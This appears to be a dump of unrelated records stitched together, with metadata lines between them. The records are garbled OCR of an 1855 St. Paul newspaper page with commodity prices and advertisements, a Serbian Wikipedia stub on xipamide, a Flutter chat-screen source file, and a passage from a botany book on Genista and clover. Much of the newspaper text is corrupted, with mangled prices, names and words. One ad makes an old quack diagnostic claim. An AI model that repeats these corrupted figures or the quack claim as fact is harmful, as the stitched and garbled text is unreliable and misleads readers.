per lb extra $8.75, $7.00 44 Iron Mountain... [email protected] Pork, mess $8.00-$8.00, — Boston, iron, 1 barrel $6.75 clear $6.00-$8.00, — H S bar $6.40-$7.75 Hams, sheet American $9.00 Shoulders $6.40-$7.50 Lard $4.40-$9.00 Russian $18.50 Butter, fresh 15@17c Cast steel 22c per lb firm 13.00 Blister $16.20 Cheese, E 1) and W R...—$1.50 German $18.50 country —*• —c Axels $10.00-$12.50 GROCERIES. Anvils 12.15 Sugar, N. 0 $4.50, 6c Steelspring 14.15 4 clarified 74c, —c Axes $12.50-$13.50 per doz [email protected]; [email protected] Chains, log 9.00, 10c per lb Molasses, N 0..; —la— “ cable..;.- 124c 4.,s H..:10c — Miners shovels..; $9.00-$12.00 per doz Coffee, Rio 11.13c Spades....*.-' ; do Java 16.00@17 dry goods. Rice [email protected] Blue drills per [email protected] Tea, imperial 35.60 Brown Selling... 7½ 35½ 60 Osnaburg... 11(0 13'; black 30½ 50 Blue denim 10½ 14 Tobacco, Virginia 26½ 35 Colton bats 10½ 13 4 Missouri 124½ 23 Colton yarn 19½ 21 CANDLES. Ticking 9½ 18 Candles, mold 14½— oils. Tallow, prime.... none Sperm Oil $1 75 ft gal Dipped none Whale, bleached $1 Soap 6½c Lard and Corn 10½ 10 fruit. Currants 75c Apples, green, 5½ ft bbl Lins ed 95½ 100 Dried.. $21 50 a2osft bu Olive $1 75 o, Peaches, dried $2 25 -’s2 75 Castor sl½ 10 Raisins $3 50½ 3 75 ft box Turpentine 85c Lemons s— (ii — lumber. Fish. Clear & M $29.53 Lackered No. 1 $23 ft bbl Common $16 $19 ‘4 •• 2 $18 do Flooring, rough $20 $23 ‘4.4 3 $11 do Plan -d — O' $33 Codfish G’;7Cf‘lb Suing $18 $20 Salmon $25 do Sheeting $13 — Oysters s%'<> D “r 1 doz L tth $75 Salt (J aV..s’2 V*sf»r‘2 nick Slnn U - $1 “ la Vi(u:2 75.u. fIUNDTHCS. “ Kalla wall..$3 75(5 4 ft bbl Lead, pigs per 100 lbs..s—(.») GRAIN. Shut s2*2 10 ft sack Oats 35c White, piu-i-..52 75(5 ft kg Corn I 40* 13 c ‘4 No. 1 $223*250d0 hides and LEATHER. Glass 12x8 $6 50Jc7 V 'ox Hides, dry, V. lb 7* 9c *4 10,14 $5 25* 530 do green 3 4*4 “ 10x12 $450*5 do Red sole leather 21*25 *‘ Bxlo s3so*” Ido o,lk 27* 30 Powder, ride c k g...$5 d(i 50 Hamms ‘28*30 Blasting....s3so* 375 Featberse, geese.. 10* 50 Brooms "Jt d0 Markets. The Chicago Democrat of the 4th May furnishes the following quotations:—Flour, city mills and family brands, $9.25; country brands $6.50; $7.00 for superfine; $7.00 for winter wheat flour; $7.59 for extra. Sales 109 bids Albany mills $7.36; Wheat, common at fair spring, $1.37; prime and choice for milling and export $1.36; red and yellow winter $1.35; prime to choice do $1.45; 1.65. Corn, sales at 56; delivered to the warehouse. Oats: demand at 36c delivered to the warehouse. Barley $1.10. Rye sales at 90c. Flax seed $1.25. Timothy steady at $2.25. Clover $5.50-$6.90. Sugars: N.O. common to fair 5.45c; fair to prime 6.5c; prime to choice 6.5c. Molasses, planters 30c-32c; new 33c; sugar house 32c-37c; syrup 37c-44c; Belcher’s golden syrup 62c. Coffee: Rio 14c-12c; Rio, 12c-13c; O.G. Java at 15c-16c; H.S. Java 16c-17c. Hams, 11c-12c smoked, city cured $10; 100 lbs; country 7c-9c; (S lb. Shoulders do at 3c-4c-4c lb. Dried fruit—apples - $1.75 per bushel. Peaches unpared $1.80-$2.06. Lard little selling; No. 1 bids at 7c-8c by the single barrel. Tallow, 11c-12c. Potatoes dull at $1.25. Cheese Western Reserve 11c-12c; country $1.50-$2.50. Butter more plentiful; sales at 12c-14c, firkin; in Jars 10c-10c; fresh roll 18c, Beans $1.50-$2.50 per bushel and demand, 11c-12c; Whisky 28c-29c. Hops, Madison county. N. Y., are selling at 30a31c per lb by the bale. St. Louis Markets. The St. Louis News of the 29th ult. gives the following as the state of the market at that date:—Superfine flour was held at $9. There were sales of 200 barrels country extra at $9.50. Of wheat there were sales of spring at $1.55; mixed at $1.69; fair quality at $1.90; prime red at $2.20-$2.25; and choice white at $2.30. 630 bags white corn brought 80c; 132 do yellow, 75c; 495 do. Its lots 73c; 257 do mixed, 75c; all in new hogs. 12 sacks oats brought 55c; 200 do 314 c; 802 do 51c; sacks included. White beans $2.65 per bushel. Whisky 200 barrels at 30c per barrel. Mess pork there were sales of 160 barrels at $14; 250 do to be delivered at a point on the upper Mississippi, $15.50 per barrel, 60 barrels prime sold at $4.80-$7.50 per barrel. Hams 15c; 12 do clear side 75c; 22 do prime shoulders 6; 100,000 barrels equal portion shoulders, sides, hams, sold at 64c, hog round. Molasses, 375 barrels 28c cash; 175 barrels sugar 54c; 100 do common sc; 155 barrels prime plantation molasses 30; 200 bags fair coffee 11c; 100 do prime 114c per barrel. T. M. X. ET ENPORIIM. W. H. CHAMBERLIN. L. H. EDDY. CHAMBERLIN & EDDY, HAVE just received from St. Louis, and opened on Fort-street, a large and well-selected stock of GROCERIES AND PROVISIONS, Which they offer to the denizens of the city and suburbs, on such terms as cannot fail to please those who may favor them with a call. All orders left with us will be cheerfully attended to. Goods delivered to all parts of the city, free of charge. CHAMBERLIN & EDDY. HENRY McKENTY, DEALER IN REAL ESTATE. Office—Old Post-Office Building, Third-st, St. Paul. Land Bought and Sold throughout the Territory; Money Loaned, instruments made to the best advantage and Land Warrants Located. References. NEW YORK, MINNESOTA. Gilbert Davis, Esq. Gov. W. A. Gorman, Daniel Curtis, Esq., Hon. W. H. Welch, Chief Justice Capt. A. De Peyster, late of Minnesota Territory, Messrs. S. Thompson & Nephew, Hon. H. M. Rice, Delegate to “Williams & Onion. Congress, PHILADELPHIA. Rice, Hollingshead & Becker, Joseph Patterson, Esq., Presi- Attorneys at Law, deut Western Bank, Messrs. Borup & Oakes, Bankers Messrs. Drexel & Co., Bankers, J. T. Rosser, Esq., Secretary of “R. Taylor & Co., the Territory, “Freed, Ward & Freed, Ames & Van Etten, Attorneys Bingham & Dock, at Law, Stets, James A Co., Rev. T. M. Fullerton, Register B Bailey & Co., C. S. Land Office, Edward Hurst, Esq., Notary Wm. M. Holcombe, Esq., Public, C. S. Land Office, H. Messner, Attorney at Law, T. T. Mann, M. D. James Kitchen, M. D., Messrs. Brown, Johnson & Co., William Stoever, Esq., Bankers, New Orleans. Messrs. Brown & Johnson, Bankers, Vicksburg. COTTAGE HOMES. 100 Lots of Pine Acres Each, IN A BEAUTIFUL and commanding situation about one mile from the City limits. Soil a rich black land — Price $800 to lot. $200 cash, and the balance in one and two years without interest. HENRY McKENT, St. Paul, April 7, 1855.—dAwtf Dealer in Real Estate. SPRING Cloths, Casimeres and Ties. For sale by apSS-tf RITCHIE & CO. N. K. WRIGHT, k. H. FILL WRIGHT & FILL JOINERS, WHITNEY AND CONTRACTORS, Shop Opposite the Winslow House, Near Fort Street, WOULD respectfully inform the citizens of St. Paul, and the building community at large, that they are prepared to attend promptly to all work entrusted to them, either to constructing the erection of buildings, or furnishing materials and do the repairing by contract. One of the above firm having had several years experience at stair building, is flattered with the belief that the most satisfaction will be given in this particular branch. St. Paul, March 20th, 1855. mh-20-lydfcw-o Dr. E. SNELL, EXQUISITE, MINNESOTA. Former Proprietor and Physician of the Springfield Water Cure, and late Proprietor of Kasthampton Hydropathic Institution. Dr. SNELL, having had a long and successful practice In Hydropathy, Electro Magnetism, and Central Surgery, would respectfully Solicits the patronage of the people of this vicinity, and the public generally. Examinations of chronic diseases made, with a full description given, with no previous knowledge of the case, or asking any questions. Office hours from 9 A.M. to 4 P.M. mar 10dawtf GALENA PIANO FORTE AVAILABLE. BROWNS ALLEN, of Boston, Mass., have appointed H.T. Merrifield, of Galena, their agent for the North West, and he will keep on hand a good assortment of their Piano Fortes. The Pianos made by Brown & Allen are unsurpassed in ACTION, DURABILITY, BEAUTY, AND SWEETNESS of tune. They are considered preferable to any other maker throughout New England, and wherever they have been introduced they have won the lead. Those wishing to purchase are earnestly invited to call at 92 Main Street, Galena, Illinois, and see their Pianos before purchasing elsewhere. H. F. MERRILL, 99 Main Street, Galena, Illinois. HOPPER & WILCOX, Dealers in Real Estate, Practical Surveyors and General Agents. OFFICE in the U. S. Land Office Buildings, Minneapolis, Minnesota. We will attend to the purchase and sale of village and city property, or tanning and rural lands in this vicinity and other important localities. Particular attention given to surveying and entering government lands, in the Pineries or elsewhere in the Territory. Property and titles carefully examined; taxes paid; collecting done, etc. Agents solicited. All business entrusted to us will receive prompt and careful attention. Pontiac, Mich. —Hon. C. T. Copeland, Judge 2nd Judicial District. Lapeer, Mich.—Hon. A. N. Hart, Pres’t Port Huron and Lake Michigan Railroad; J. R. White, Esq., Director, do. Pittsburgh, Pa. —Austin Loomis, Esq., Stock and Exchange Broker. Burlington, Vt.—Rev. Worthington. Ton Smith, D.D., Pres’t U.V.M.: Earrand H. Benedict, Professor Mathematics and Civil Engineering, do.; Hon. A.L. Catlin, Collector of Customs. Orwell, Vt.—Hon. Roswell Bottom. Troy, N.Y.—P.M. Gorham, Esq., Cashier Union Bank. Belvidere, Ills.—Hon. Cephus Gardner; Hon. R.S. Molloy, M.D., and Alex. Neely, Esq., Pres’t Belvidere Bank. Saint Paul.—Ex-Governor Alex. Ramsey; Gov. W.A. Gorman; J. Travis Rosier, Sec’y M.T. Port Snelling, M.T.—Eranklin Steele, Esq. Minneapolis, M. T.—Hon. A. E. Ames; M. L. Olds, Register U. S. Land Office; R. P. Russell, Receiver. LAND FOR SALE. FORTY acres in rear of St. Anthony; valuable claims within a few miles of the Falls; an interest in a valuable water power; twenty acres immediately in rear of town; a large number of lots in the flourishing county seats of Minneapolis, Shakopee, Le Sueur and Maflkdto. PROPPER & WILCOX. WASTED. A FEW Good Lots in St. Anthony and St. Paul; Gold, Land Warrants, Currency, Drafts, &c., at the current rates of exchange. Interest allowed on special deposits, PROPPER & WILCOX. INSURANCE WESTERN INSURANCE COMPANY. OLEAN, N. Y Applications received and policies issued at this office, on the safest and most favorable terms. PROPPER & WILCOX, Dealers in Real Estate, Surveyors and General Agents, Land Office Building, Minneapolis, Minn. LATE IN EUROPE JUST received from the Manufacturer a beautiful assortment of the following kinds of desirable SILVER WATCHES, which I offer at exceedingly low prices, and will be sent by mail or otherwise, to any part of the country, on the receipt of money for the same, and a written warrantee with each Watch for one year. Patent Detached Silver Levers, from $1 to $1. do do Hunting Levers, from $1 to $23. Pine Cylinder Silver in strong cases from $10 to $12. do do do in strong hunting cases, from $13 to $16. Also Clocks at equally low prices, of every description, from the best makers. S. ILLINGWORTH, Watch Maker, cor. of Jackson and 6th sts., St. Paul. P. S. Traders and others are invited to give him a call before purchasing elsewhere. April 21, 1855 Ist wtf SUPERIOR, DOUGLAS COUNTY, WISCONSIN. The place is situated on the bay of Superior and Lett Hand River, at the head of Lake Superior, and possesses a better site, a better harbor, and greater advantages for a commercial city. I hold any other point in the North-West, and is equalled in prospective importance by Chicago only. The proprietors have a clear, undisputed, and unencumbered title to the land upon which Superior is laid out, and all purchasers of its real estate warrantee deeds for the same. Superior was laid out during the past season, and already contains several hundred inhabitants, a large hotel, a number of stores, a commodious pier, with warehouses, and is in all respects the most flourishing new town in the West. The County Seat, a U. S. Land Office, and Post Office are located here, where the Mississippi and Lake Superior U. S. Military Road, now in course of construction, connecting with St. Paul, terminal. It is also the Lake terminus of all the projected railroads to the head of Lake Superior. The “Soo” canal will be open by June, after which time four lines of Lake steamers will run from Chicago, two from Cleveland, and one from Buffalo; line vessels having been built expressly for this trade. Two Steam Saw Mills and a Printing Press are now on the way to Superior and will be promptly set to work. One half of the lots have been appropriated by the proprietors to be sold by the undersigned to actual settlers on easy terms, and to provide a fund for the establishment of public schools. Improvements. Liberal appropriations have been made for public purposes—parks, churches, railroads, etc. S - In ueltrl.i c irP’Cl me nn.-aiv.el.. ...i - —■i-i-w « -i— --ilarltv of nam s, it is prop r to state that »• Superior City,” about which the title of which a legal controversy exists, is an other and different place, and lu a different township from Superior. ; M i|ik of Superior are sign'd by Th >s. Clark, surveyor, and Win. 11. Newton. Agent and Attorney for Proprietor*, anil may be seen In the prlnclp.il hotels «.f St. Paul, Galena, Chicago, Detroit, Cleveland, Toledo, Buffalo and other cities. All p rsons wlio wish to purchase lots, or obtain Information can apply to Win.U. Newton, S tpcrlor, Douglas t'ountv, Wis consin. VVm. it. newton, Ag 'nt an 1 Attorney for Proprietor* of Superior. May 1,1955. myS-3mdfcw ONCE AGAIN. DAIIL, DAIIL, 1>AIII.! I WOULD oiicc again call the attention of the citizens of St. Paul an 1 vicinity an i •• th • lest or mankind,” to my pres ent complete, choice ami varied stock of HOOKS, STATIONERY, &.C., Kli. Having Just received a large amount of goods selected by my self with tiie sole view to supply the wants <>t all my patrons, 1 Hatter myselt that 1 have something for each—for all. BOOKS! Good Books of the in >st approved authors, both useful and entertaining always on band, among which may he found— The Slave of the Lamp, Stanhope Burleigh, Katharine Ashton, Harry llarson, Trie Initials, Julienne, Tuc Lawyer’s Story; The Coquette, Wild Scenes of a Hunter’s Life, The Artist’s Wife, Eventide, Pictorial Bibles, Mason’s Farrier, Hymn D >oks, American Fruit Culturalisf, Mr*. Rale’s New C<tok Cook, Law Books, Bibles, See. Also, all kinds ol CATHOLIC BOOKS I have on hand for the Counting K >om BLANK BOOKS of the best quality and kind. Parallel Rules, many of which are made from the best materials, Black and Red Ink, Portfolios, Pen Stands, every variety of Wafers and Envelopes, Pencils and Pens, Pen Knives, Editors’ Shears, Letter Folders, Paper Cutters, Paper Clasps, Seals, Sand Boxes, Water Cups, Black Stairs, Mucilage, an excellent substitute for Wafers, Ready Reference Fillets, Gum Elastic Bands, LETTER PRESSES. Notary Wafers, all kinds; Bankers’ Cases, all sizes; Post Outre Boxes, Bill Points, for holding Bills; Counting House Brushes, Rules, all kinds; Rules with Gunter’s Seals; Calendars, Pen Holders, Ink Stands. For the Surveyor. I have Mapping, all sizes; India Rubbers, all kinds, Instruments, of every description, in Bales, or otherwise. Maps, Sec., etc. For the Scholar. All kinds of School Books, Latin, French and English Histories, Literature, light and substantial; Story Books, Rewards of Merit, Webster’s Unabridged Dictionary, Portable Desks, and Satchels. Among everything else I have for all who wish, some very fine colored end-cape engravings, IMAGES OF CHRIST AND MARY, IN ALABASTER, Pearl and Velvet Porte Mimes, Cornelian Wrist-Band Buttons with Gold Fastenings, Gold Rings, Pons, Pins, Gold and Silver Pencils, Smith's best Steel Pells, Card Cases, Tooth Brushes, Cornelian Rings, Playing Cards, Blank Cards, Dice, Buck Gammon Boards. Indelible Ink, Ivory Tablets, Pencil Points, Tissue Paper, Hunt's Gold Gold Gloss for the Hair, Thompson's Hair Wash; Music and Musical Instruments, Letter and Foolscap Paper, of all kinds and of the best quality—plain and ruled; besides a great variety of articles both useful and necessary.— I am sure you can’t remember one-half of what I have enumerated, so if you want Books, Note, letter, or Foolscap Paper, Wrapping Paper, Pens, Ink or Pencils, or In fact anything but money, Just call on WM. DAHL, Roberts street, St. Paul. What's bid for this 820 Coat? Can't dwell, gentlemen; One dollar. Sir. Going at one dollar— one, one, one—going—gone. Scene at McKenty's Auction. KEENTY'S GRAND AUCTION SALES, OPPOSITE McKENTY'S REAL ESTATE OFFICE To commence on Monday, the 11th Inst., at 10 A.M., And to be continued till the stock is closed. Out. TEN THOUSAND DOLLARS!!! $10,000, $10,000! Worth of Goods to be Sold Without Delay or Reserve. Right up to the handle, sir—right up to the handle—sell 'em if I don't get 10 cents on the dollar—sell 'em, Mr. any house—bound to sell 'em, sir. This magnificent lot of goods consists in part of the following: 400 Coats, 24 pairs Blankets, 500 Pauls, 300 Vests, And a huge miscellany of SUMMER CLOTHING. 50 pieces Red Flannel, 92 piece* Prints, 100 dozen pairs Bocks, 25 dozen Hickory Shirts, 25 dozen White Shirts, 10 dozen Red Flannel Shirts, . 4 cases of thick Brogans, 4 esses Men’s Calf Shoes, 9 cases Gcal’s Fancy Gaiters, 3 cases Ladies’fancy Gaiters, • cases Ladles’ Slippers; And a general assortment of Hats and Capo, and a particular assortment of Dry Goods. my4-tf F. E. COLLINS. Awrtioweer. A DWELLING WANTED. A DWELLING Timed, in tfca central paw of the e«y, with from three to five mow. Apply a» this office. apM-tr XI. . Ll.'W, 1 gHBBBBBBB." -P-WS".. A IV OX I) DRtb STORE VKBKR A SEW FIRM. MORTON ft PACE, having purchased the entlru Interest of 1.. C. KI lint; y in tlic Drug bl.ru situated In the <* World’* Fair” building mi Third street, svllh the Intention of transacting a wholesale and IDUII Unix Butin**-*. In all its branches, offer to their friends anti the public a lull and complete assortment of the bast description of good, usually found In their line, at fair prices.. We shall purchase none but pure, unadulterated medicines, and shall guarantee ull articles to be such as repre sented by ns to our customers. With the assistance of an pble and experienced German and French Chemist, we trust «« shall glee 9a! Intact ion In all our sales. Store 'open at all hours, day and night. apl2-U A~ FINF. ASSORTMENT of PraaTGardeu S'eds7ju»t VJceTved by Kxprcss, aud for sale by apl2-tf MORTON ft PACK. ■MK/A LBS. RUTABAGA SEED for sale, in ([Uantitlos to suit 1 tJU purchasers, by (ap!2-lf) MORTON ft PACK. ONION SF>Eif, White and Rad, In bulk, for sale by upl2-tf MORTON ft PACK. 1 O BUSHELS RED TOP CLOVER SEED for sale by 1 U ap!2-tf MORTON ft PACK. TO FARMERS AND DRUGGISTS. HASKELL & MERRICK'S extra powdered Drugs, and Tilden’s Extracts of Belladonna Cough, etc., for sale by MORTON & PACE. CODA, Cream Tartar, Curb, Ammonia, and Oil of Lemon, for Bakers and Confectioners, for sale by MORTON & PACE. A LA ROE ASSORTMENT of Paint and Varnish Brushes for sale by MORTON & PACE. PERFUMERY, Fancy Goods, Fine Cutlery, and Patent Medicines, wholesale and retail, by MORTON & PACE. A SPLENDID LOT of Fishing Tackle, silver and brass mounted, Trout, Bass, and general Hods, three to six Joints. — Silk, grass, linen and hair lines, silk worm gut, Henning's Limerick curbs, and gravitation books, sinkers, floats, and artificial balls, for sale by MORTON & PACE. REMOVAL. DR. MORTON has removed his office to the Drug Store recently occupied by L. C. Kinney, two doors below the World’s Fair Store. ANOTHER DRUG STORE IN ST PAUL! OR RATHER AN OLD DRUG STORE AND NEW FIRM! HAVING purchased the interest of Dr. THOMAS FOSTER in the PENNSYLVANIA DRUG STORE in Upper Town St. Paul, the undersigned have formed a partnership under the name and style of JAMES H. McDOUGALL & CO., and are prepared to accommodate all customers with DRUGS, MEDICINES, DYE STUFFS, PATENT MEDICINES, WINDOW GLASS, PAINTS, OILS AND PERFUMERY, and all articles usually kept in a Wholesale and Retail Drug Store, on a low and accommodating terms as any establishment in the Territory. | 14,292 |
https://sr.wikipedia.org/wiki/Ksipamid | Wikipedia | Open Web | CC-By-SA | 2,023 | Ksipamid | https://sr.wikipedia.org/w/index.php?title=Ksipamid&action=history | Serbian | Spoken | 26 | 94 | Ksipamid je organsko jedinjenje, koje sadrži 15 atoma ugljenika i ima molekulsku masu od 354,809 -{Da}-.
Osobine
Reference
Literatura
Spoljašnje veze
-{Xipamide}-
Феноли
Хлороарени
Салициланилиди
Сулфонамиди | 39,197 |
https://github.com/UNIZAR-30226-2022-09/front-end-movil/blob/master/alejandria/lib/screens/chat_screen.dart | Github Open Source | Open Source | MIT | null | front-end-movil | UNIZAR-30226-2022-09 | Dart | Code | 420 | 1,753 | import 'package:alejandria/share_preferences/preferences.dart';
import 'package:provider/provider.dart';
import 'package:alejandria/services/chat_service.dart';
import 'package:alejandria/widgets/widgets.dart';
import 'package:flutter/material.dart';
import '../models/mensaje_model.dart';
import '../services/socket_service.dart';
import '../themes/app_theme.dart';
class ChatScreen extends StatefulWidget{
@override
State<ChatScreen> createState() => _ChatScreenState();
}
class _ChatScreenState extends State<ChatScreen> with TickerProviderStateMixin{
late ChatService chatService;
late SocketService socketService;
final _textController = new TextEditingController();
final _focusNode = new FocusNode();
List<ChatMessage> _messages = [];
bool _estaEscribiendo = false;
@override
void initState() {
super.initState();
this.chatService = Provider.of<ChatService>(context, listen: false);
this.socketService = Provider.of<SocketService>(context, listen: false);
this.socketService.socket.emit('join', {
'room' : this.chatService.sala,
});
socketService.socket.on('message', _escucharMensaje);
_cargarHistorial( this.chatService.usuarioPara.nick );
}
void _cargarHistorial( String usuarioNick ) async {
List<Mensaje> chat = await this.chatService.getMensajes(this.chatService.sala);
final history = chat.map((m) => new ChatMessage(
texto: m.message,
nick: m.nick,
animationController: new AnimationController(vsync: this, duration: Duration( milliseconds: 0))..forward(),
));
setState(() {
_messages.insertAll(0, history);
});
}
void _escucharMensaje(dynamic payload){
if(payload[1] == chatService.usuarioPara.nick){
ChatMessage mensaje = new ChatMessage(
texto: payload[0],
nick: payload[1],
animationController: AnimationController( vsync: this, duration: Duration(milliseconds: 300 )),
);
setState(() {
_messages.insert(0, mensaje);
});
mensaje.animationController.forward();
}
}
@override
Widget build(BuildContext context){
final chatService = Provider.of<ChatService>(context);
final usuarioPara = chatService.usuarioPara;
return Scaffold(
appBar: AppBar(
leading: BackButton(onPressed: _onBackPressed),
title: Column (
children: <Widget>[
CircleAvatar(
child: Container(
width: 100,
height: 100,
decoration:
BoxDecoration(borderRadius: BorderRadius.circular(50)),
child: ClipRRect(
borderRadius: BorderRadius.circular(50),
child: FadeInImage(
fit: BoxFit.cover,
placeholder: AssetImage('assets/icon.png'),
image: NetworkImage(usuarioPara.fotoDePerfil!),
),
)),
maxRadius: 15,
),
SizedBox(height: 3),
Text(usuarioPara.nick, style: TextStyle(color: AppTheme.primary, fontSize: 12))
],
),
bottom: BottomLineAppBar(),
),
body: Container(
child: Column(
children: [
Flexible(
child: ListView.builder(
physics: BouncingScrollPhysics(),
itemCount: _messages.length,
itemBuilder: (_, i) => _messages[i],
reverse: true,
),
),
Divider(height: 1,),
Container (
child: _inputChat(),
)
],
),
),
);
}
Widget _inputChat(){
return SafeArea(
child: Container(
margin: EdgeInsets.symmetric(horizontal: 8),
child: Row(
children: [
Flexible(
child: TextField(
controller: _textController,
onSubmitted: _handleSubmit,
onChanged: (String texto){
setState(() {
if(texto.trim().length > 0){
_estaEscribiendo = true;
}else{
_estaEscribiendo = false;
}
});
},
decoration: InputDecoration(
hintText: 'Enviar mensaje',
contentPadding: EdgeInsets.symmetric(vertical: 2.0, horizontal: 10.0),
isDense: true,
counterText: '',
),
focusNode: _focusNode,
keyboardType: TextInputType.multiline,
maxLines: null,
maxLength: 500,
)
),
Container(
margin: EdgeInsets.symmetric(horizontal: 4.0),
child: Container(
margin: EdgeInsets.symmetric(horizontal: 4.0),
child: IconTheme(
data: IconThemeData(color: AppTheme.primary),
child: IconButton(
highlightColor: Colors.transparent,
splashColor: Colors.transparent,
icon: Icon(Icons.send),
onPressed: _estaEscribiendo
? () => _handleSubmit(_textController.text.trim())
: null,
),
),
),
)
]),
)
);
}
_handleSubmit(String texto){
if(texto.length == 0) return;
_textController.clear();
_focusNode.requestFocus();
final newMessage = new ChatMessage(
texto: texto,
nick: Preferences.userNick,
animationController: AnimationController(vsync: this, duration: Duration(milliseconds: 200)),
);
_messages.insert(0, newMessage);
newMessage.animationController.forward();
setState(() {
_estaEscribiendo = false;
});
this.socketService.emit('message', {
'user': Preferences.userNick,
'message': texto,
'sala' : chatService.sala,
});
}
@override
void dispose() {
this.socketService.socket.off('message');
for(ChatMessage message in _messages){
message.animationController.dispose();
}
super.dispose();
}
void _onBackPressed() {
this.socketService.socket.emit('leave',{
'room' : chatService.sala,
});
Navigator.maybePop(context);
}
} | 22,694 |
11012951_6 | LoC-PD-Books | Open Culture | Public Domain | 1,859 | American weeds and useful plants: being a second and illustrated edition of Agricultural botany. | None | English | Spoken | 7,947 | 13,387 | 95 73 Fig. 72. An enlarged flower of a Pea (Pisum sativum) divided to sbow the position of the 4)arts;illustrating the general structure of the true Pulse Family (Papilionacese). a Sepals. h Outer petal or banner, c One of the side petals or wings, d One of the two lower petals which form the keel, e Stamen tube. / The ovary containing the ovules. 73. Pea flower with petals and calyx removed, showing the united stamens (diadelphous 9 & 1) , encloBing the pistil. 96 WEEDS AND USEFUL PLANl'S. 1. GENISTA, L. WoAD-WAXEN. [Name from the Celti'" gen^ a bush.] Calyx 2-lipped. Standard oblong-oval, spreading. Keel oblong, straight, scarcely enclosing the stamens and style. Stamens monadelphous, the sheath entire ; 5 alternate anthers shorter. Pod flat, several-seeded. Shrubby plants. Leaves simple. Flowers yellow. 1. G. tincto'ria, L. Low, thornless, with striate angled erect branches ; leaves lanceolate ; flowers in spiked racemes. Dyer's Genista. Woad- waxen. Whin. Dyer's Green Weed. stem about a foot high, erect or ascending. Leaves sessile, rather distant. Flowers bright yellow with a small bract at the base of each. A native of Europe, Massachusetts and E. New York. June -July. Obs. This plant has become thoroughly naturalized in some places, especi- ally in Eastern Massachusetts, where it is so abundant in some localities as to give to the hill-sides a yellow appearance when in flower. It abounds in coloring matter, and is used to dye wool yellow. It is said that when cows feed upon it their milk becomes bitter. It has some medicinal repu- tation, and is a popular remedy among the Russian peasantry for hydro- phobia. * 2. TRIFO'LIUM, L. Clover. [Latin, tres, three, and/oltwrn, leaf ; characteristic of the genus.] Calyx tubular, persistent, 5-cleft ; segments subulate. Corolla usually withering ; petals more or less united, and mostly free from the stamen- tube ; keel shorter than the wings and vexillum. Legume small, mem- branaceous, scarcely dehiscent, 1-2- (rarely 3 - 4-) seeded, mostly included in the calyx-tube. Flowers mostly in heads or spikes. Stipules adnatt to the base of the petiole. * Florets sessile in compact heads ; corolla purple or pale pink and spotted. 1. T. arvense, L. Stem erect, pilose ; leaflets linear-obovate or spatu- late, minutely 3-toothed at apex ; stipules narrow, subulate-acuminate ; heads oblong-cylindric, softly villous ; calyx-segments longer than the corolla ; petals scarcely united. Field Trifolium. Stone Clover. Welsh Clover. Rabbit-foot. Fr. Pied de Lievre. Germ. Der Hasen Klee. Span. Pie de Liebre. Whole plant softly pilose. Root annual. Stem 6-12 inches high, slender, generally much branched. Leaflets half an inch to an inch long ; common petioles one-fourth of an inch to an inch long. Corolla inconspicuous, whitish or pale pink, with a purple spot on the wings. Legume 1-seeded. » Sterile old fields: Canada to Florida: introduced. Native of Europe. Fl. June- August. Fr. August -October. Obs. This species — a naturalized foreigner — is only entitled to the notice of the farmer on account of its prevalence and its worthlessness. Its presence is a pretty sure indication of a thin soil, and neglected Agri- culture : and the appropriate remedy is to improve both. It is then easily superseded by more valuable plants. PULSE FAMILY. 97 2. T. pratense, L. Stems ascending ; leaflets oval or ovate-oblong, often retuse ; stipules broad, terminating in a bristle-like point ; beads ovoid, dense-flowered, sessile, bracteate at base ; calyx-segments scarcely half as long as the corolla, the lower one longer than the others. !^[eadow Trifolium. Ked Clover. Common Clover. Fr. Trefle des Pres. Germ. Der Wiesen-Klee. Span. Trebol. Eoot biennial , or perennial ? large , fusiform. Stems several from the same root, 1 - 2 or 3 feet long, rather weak at base and often decumbent, somewhat branched, striate and pilose. Leaflets half an inch to an inch and a half long, sessile, usu- ally with a broad paler spot in the middle, hairy beneath ; common petiole half an inch to 4-5 inches long. Heads of flowers ovoid or subglobose, an inch or more in diameter. Corolla purplish-red (rarely white)— the petals all united into a slender tube about half an inch in length. Legume 1-seedcd, included in the calyx. Seed reuiform, greenish-yellow with a shade of reddish brown. Cultivated fields, meadows, &c. Canada to Florida : introduced. Native of Europe, i?'?. May -Sept. Fr. July -October. Ohs. This plant (which is sometimes spoken of in works upon agriculture as a grass,) is one of the most valuable forage plants. It is thoroughly natu- ralized ; but it is also diligently cultivated by all good farmers. In con- junction with the grasses — especially with Timothy (Phleum pratense) it makes the best of hay — though by itself it is rather indifferent pasture. Its culture exerts a most kindly influence on the soil, and its introduction as an ameliorating crop, has had a most beneficial influence upon Agri- culture. It is the crop most frequently cultivated to " turn in," and thus enrich the soil with organic matter. The plant is generally con- sidered to be a biennial ; but Mr. Joshua Hoopes — who is a very acute observer — assures me, he has satisfactorily ascertained that the plant will live more than two years. It is not known at what time clover came into general cultivation in this country ; but it is recorded that John Bartram had fields of it, prior to the American Revolution. The flowers contain much nectar, — but the tube of the corolla is so long that the Honey Bee cannot reach the treasure with its proboscis ; and conse- FiG. 74. A cluster or head of the flowers of Red Clover (Trifolium pratense), and a tri- foliolate leaf. 75. A separate flower, enlarged, a A pod, or rounded legume, h Tho seed, c The embryo removed from the seed coat. 5 A.M. 98 l^TEEDS AOT) USEFUL PLAXTS. qnently that insect rarely alights on the heads, bnt leaves them to the more amply provided Humble Bee. I have met with a number of in- stances in which the corolla was replaced by five distinct green leaflets — with other modifications of the flower, which finely illustrated Goethe's theory of retrograde metamorphosis. The nearly related Zigzag Clover (T. medium), which has entire and spotless leaflets and larger, deeper pnrple, and mostly stalked heads, is natm-alized in E. Massachusetts. Florets pedicellate in wnbel-liJce round heads ; corolla white or rose- color, turning brownish in fading ; the short pedicels refiexed when old. 3. T. re'pens, L. Stems creeping, diffuse ; leaflets roundish-obovate and emarginate, or almost obcordate, denticnlate ; heads depressed-glo- bose, on very long axillaiy peduncles ; legumes about 4rseeded. Creeping Tkifolium. "White Clover. Dutch Clover. Fr. Triolet. Trefle blanche. Germ. Weisser-Klee. Span. Trebol bianco. Ro(^ pereimial. Stem 4-12 or 15 inclies long, smooth, procumbent, radicating, diffusely brandling from the base. Leaflets balf an incb to an inch long ; comnwri petiole 1 or 2- 6 or 8 inches long. Heads of flowers on erect sulcate naked peduncles which are f^-om 2-8 and twelve inches in length. Corolla white, withering and becoming a pale dirty brown. Legume M- >2 of an inch long, torulose, 2 or 3-5-seeded. Seeds irregularly ovoid reddish- brown. Pastures, woodlands, &c., throughout the United States. J?7. May -September. Fr. July -October. Ohs. The pedicellate florets are somewhat corymbose — forming de- pressed-globose or vertically flatted heads. The outer or 